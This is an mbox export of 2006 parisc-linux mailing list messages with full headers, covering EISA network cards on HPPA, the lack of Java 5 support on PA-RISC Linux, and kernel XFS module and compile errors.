In-Reply-To: <45718DBE.30509@excelcia.org> (Kurt Fitzner's message of "Sat, 02
	Dec 2006 07:29:18 -0700")
Original-Lines: 22
X-SA-Exim-Connect-IP: 192.168.70.139
X-SA-Exim-Rcpt-To: kfitzner@excelcia.org, parisc-linux@parisc-linux.org
X-SA-Exim-Mail-From: maz@misterjones.org
X-SA-Exim-Scanned: No (on young-lust.wild-wind.fr.eu.org);
	SAEximRunCond expanded to false
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NKtXbRjILi5nE/fRZWtpRD5jZml1ZBgO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25401

>>>>> "Kurt" == Kurt Fitzner <kfitzner@excelcia.org> writes:

Kurt,

Kurt> I am looking to pick up an EISA ethernet card.  I've found a
Kurt> 3c597 for fairly cheap, but upon searching I noticed a couple of
Kurt> notes on the mailing list back in 2002/2003 that mentioned
Kurt> issues with this driver.  Does anyone right now have this card
Kurt> working, and if not, does anyone have any suggestions for
Kurt> something EISA?

3c592/3c597 won't work on HPPA because we lack DMA support on the EISA
bus (no documentation). Your best bet is with a pure PIO card. I had
great success with a 3c579 (EISA version of the 3c509) on a C100.

It's only a 10Mbit/s, though.

Regards,

	M.
-- 
And if you don't know where you're going, any road will take you there...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Curtis Cooley <curtis.cooley@venture.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Java 5
Date: Mon, 04 Dec 2006 08:52:26 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <4574524A.5060608__13308.1778105863$1416624628$gmane$org@venture.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624628 28277 80.91.229.3 (22 Nov 2014 02:50:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:28 +0000 (UTC)
To: parisc <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Dec 2006 16:52:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 04 Dec 2006 17:52:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 261CF7D9EB;
	Mon,  4 Dec 2006 09:52:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13754-04; Mon, 4 Dec 2006 09:52:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89F1D7D9E8;
	Mon,  4 Dec 2006 09:52:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 479127D9BD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 09:52:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13511-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Dec 2006 09:52:23 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DEF627D8FC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 09:52:23 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id A586749400E; Mon,  4 Dec 2006 09:52:23 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from AMP.corp.llix.net (amp.llix.net [65.61.121.180])
	by mail.parisc-linux.org (Postfix) with ESMTP id 6D213494003
	for <parisc-linux@parisc-linux.org>;
	Mon,  4 Dec 2006 09:52:22 -0700 (MST)
Original-Received: from [192.168.123.128] ([65.61.115.34]) by AMP.corp.llix.net with
	Microsoft SMTPSVC(6.0.3790.1830); Mon, 4 Dec 2006 08:53:59 -0800
User-Agent: Thunderbird 1.5.0.8 (X11/20061115)
X-OriginalArrivalTime: 04 Dec 2006 16:53:59.0494 (UTC)
	FILETIME=[CB490E60:01C717C4]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bWBNcMVYeWU7ULeUfHVzmfA5U3U4N09S
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25402

I poked around quite a bit looking for a Java5 JRE that runs on PA-RISC 
Linux, but I have not found one. Has anybody had luck with this. We 
inherited 5 HP B2000s and we are a Java shop, so running Java is a key 
to them being useful.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java 5
Date: Mon, 4 Dec 2006 12:30:48 -0500 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <200612041730.kB4HUmJw006841__35514.9263902151$1416624629$gmane$org@hiauly1.hia.nrc.ca>
References: <4574524A.5060608@venture.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624629 28279 80.91.229.3 (22 Nov 2014 02:50:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: curtis.cooley@venture.com.sg (Curtis Cooley)
Original-X-From: - Wed Jul 02 21:28:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Dec 2006 17:31:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 04 Dec 2006 18:31:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8ADB27D9FD;
	Mon,  4 Dec 2006 10:30:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14017-10; Mon, 4 Dec 2006 10:30:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79E357D9F8;
	Mon,  4 Dec 2006 10:30:57 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70A677D9EC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 10:30:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14125-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Dec 2006 10:30:52 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 124BB7D9EA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 10:30:52 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id CC49D49400C; Mon,  4 Dec 2006 10:30:51 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by mail.parisc-linux.org (Postfix) with ESMTP id 8C91A494003
	for <parisc-linux@parisc-linux.org>;
	Mon,  4 Dec 2006 10:30:50 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kB4HUngK006844;
	Mon, 4 Dec 2006 12:30:49 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kB4HUmJw006841;
	Mon, 4 Dec 2006 12:30:48 -0500 (EST)
In-Reply-To: <4574524A.5060608@venture.com.sg> from "Curtis Cooley" at Dec 4,
	2006 08:52:26 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AD4GZVUOeSE5SL6WZHQh9Yd2IGRvb8DB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25403

> I poked around quite a bit looking for a Java5 JRE that runs on PA-RISC 
> Linux, but I have not found one. Has anybody had luck with this. We 
> inherited 5 HP B2000s and we are a Java shop, so running Java is a key 
> to them being useful.

Hmmm, you want Sun's Java5 for HP!  Not too likely.  See
<http://java.sun.com/j2se/1.5.0/system-configurations.html>.
As far I can tell, only Sparc, x86 and Itanium processors
are supported and even for these the matrix is incomplete.

There might be hope in the future given Sun's decision to
open source Java.

For PA-RISC linux, there's the support within GCC.  There may
be one or two other implementations but I don't know any details
about these.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Couple kernel problems
Date: Mon, 04 Dec 2006 15:37:42 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <4574A336.3000007__20765.5687620447$1416624629$gmane$org@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=windows-1252
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416624629 28287 80.91.229.3 (22 Nov 2014 02:50:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Dec 2006 22:39:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 04 Dec 2006 23:39:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DD7C7DA0D;
	Mon,  4 Dec 2006 15:39:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17141-05; Mon, 4 Dec 2006 15:39:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 18DC27DA0F;
	Mon,  4 Dec 2006 15:39:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FB3C7DA0A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 15:39:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17141-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Dec 2006 15:39:11 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 25FDC7DA09
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 15:39:11 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id B096E494010; Mon,  4 Dec 2006 15:39:10 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by mail.parisc-linux.org (Postfix) with ESMTP id 6100349400C
	for <parisc-linux@parisc-linux.org>;
	Mon,  4 Dec 2006 15:38:49 -0700 (MST)
Original-Received: from pd5mr6so.prod.shaw.ca
	(pd5mr6so-qfe3.prod.shaw.ca [10.0.141.182]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0J9R007HTTIWUB00@l-daemon> for
	parisc-linux@parisc-linux.org; Mon, 04 Dec 2006 15:37:44 -0700 (MST)
Original-Received: from pn2ml10so.prod.shaw.ca ([10.0.121.80])
	by pd5mr6so.prod.shaw.ca (Sun Java System Messaging Server 6.2-7.05
	(built Sep
	5 2006)) with ESMTP id <0J9R00AYTTIVDLV1@pd5mr6so.prod.shaw.ca> for
	parisc-linux@parisc-linux.org; Mon, 04 Dec 2006 15:37:44 -0700 (MST)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0J9R0034KTIVS430@l-daemon> for
	parisc-linux@parisc-linux.org; Mon, 04 Dec 2006 15:37:43 -0700 (MST)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	kB4MbgpO018994	for
	<parisc-linux@parisc-linux.org>; Mon, 04 Dec 2006 15:37:42 -0700
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.94.0.0
X-Virus-Scanned: ClamAV version 0.88.6,
	clamav-milter version 0.88.6 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Thunderbird 1.5.0.8 (Windows/20061025)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qZVHcUwnTXs9XKyRbmQ5jktKRzdyMgPU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25404

I've been having a few problems with kernels, and am wondering if these
are known issues.

1) XFS will not load as a module.  When I try I get:
 FATAL: Error inserting xfs
 (/lib/modules/2.6.18-3-parisc/kernel/fs/xfs/xfs.ko):
 Invalid module format

dmesg reveals:
 module xfs relocation of symbol $$divU is out of range (0x3ffefffd in
 17 bits)

This occurs with any kernel I can get from Debian testing and above, so
2.6.17 and 2.6.18.  I tried their images and compiled a 2.6.17 kernel of
my own from their source.  Could this be related to Debian patches?

2) I'm having problems compiling a 2.6.18 kernel (debian source again).
 Perhaps this issue is out-of-scope for this list, but it confuses me
and I wondered if anyone else here has run into it:
 CC      arch/parisc/kernel/asm-offsets.s
   In file included from include/asm/thread_info.h:7,
                    from include/linux/thread_info.h:21,
                    from include/linux/preempt.h:9,
                    from include/linux/spinlock.h:49,
                    from include/linux/capability.h:45,
                    from include/linux/sched.h:44,
                    from arch/parisc/kernel/asm-offsets.c:31:
   include/asm/processor.h:347: error: redefinition of prefetch
   include/linux/prefetch.h:43: error: previous definition of prefetch
    was here
   include/asm/processor.h:352: error: redefinition of prefetchw
   include/linux/prefetch.h:47: error: previous definition of
    prefetchw was here

As you can see, it's a simple issue, but what confuses me is that
someone must be compiling this source, since Debian supplies a binary
package in unstable of this kernel.  Could this somehow be related to my
installed tool tree?

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Curtis Cooley <curtis.cooley@venture.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java 5
Date: Mon, 04 Dec 2006 15:14:06 -0800
Lines: 29
Approved: news@gmane.org
Message-ID: <4574ABBE.2060206__6015.59046558595$1416624629$gmane$org@venture.com.sg>
References: <200612041730.kB4HUmJw006841@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624629 28289 80.91.229.3 (22 Nov 2014 02:50:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:29 +0000 (UTC)
To: parisc <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Dec 2006 23:14:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 05 Dec 2006 00:14:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2FB77DA0F;
	Mon,  4 Dec 2006 16:14:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17470-07; Mon, 4 Dec 2006 16:14:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDC3F7DA13;
	Mon,  4 Dec 2006 16:14:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47C627DA0F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 16:14:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17405-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 4 Dec 2006 16:14:22 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E0F1F7DA08
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  4 Dec 2006 16:14:22 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id A8D8249400D; Mon,  4 Dec 2006 16:14:22 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from AMP.corp.llix.net (amp.llix.net [65.61.121.180])
	by mail.parisc-linux.org (Postfix) with ESMTP id 71AB649400C
	for <parisc-linux@parisc-linux.org>;
	Mon,  4 Dec 2006 16:14:01 -0700 (MST)
Original-Received: from [192.168.123.128] ([65.61.115.34]) by AMP.corp.llix.net with
	Microsoft SMTPSVC(6.0.3790.1830); Mon, 4 Dec 2006 15:15:39 -0800
User-Agent: Thunderbird 1.5.0.8 (X11/20061115)
In-Reply-To: <200612041730.kB4HUmJw006841@hiauly1.hia.nrc.ca>
X-OriginalArrivalTime: 04 Dec 2006 23:15:39.0061 (UTC)
	FILETIME=[1C7DAE50:01C717FA]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lO0SL0YZaHI+XKWnKSUlsPFqamdhZITr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25405

John David Anglin wrote:
>> I poked around quite a bit looking for a Java5 JRE that runs on PA-RISC 
>> Linux, but I have not found one. Has anybody had luck with this. We 
>> inherited 5 HP B2000s and we are a Java shop, so running Java is a key 
>> to them being useful.
>>     
>
> Hmmm, you want Sun's Java5 for HP!  Not too likely.  See
> <http://java.sun.com/j2se/1.5.0/system-configurations.html>.
> As far I can tell, only Sparc, x86 and Itanium processors
> are supported and even for these the matrix is incomplete.
>
> There might be hope in the future given Sun's decision to
> open source Java.
>
> For PA-RISC linux, there's the support within GCC.  There may
> be one or two other implementations but I don't know any details
> about these.
>
>   
I don't really care that it's necessarily from Sun, but that it supports 
Java5.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Couple kernel problems
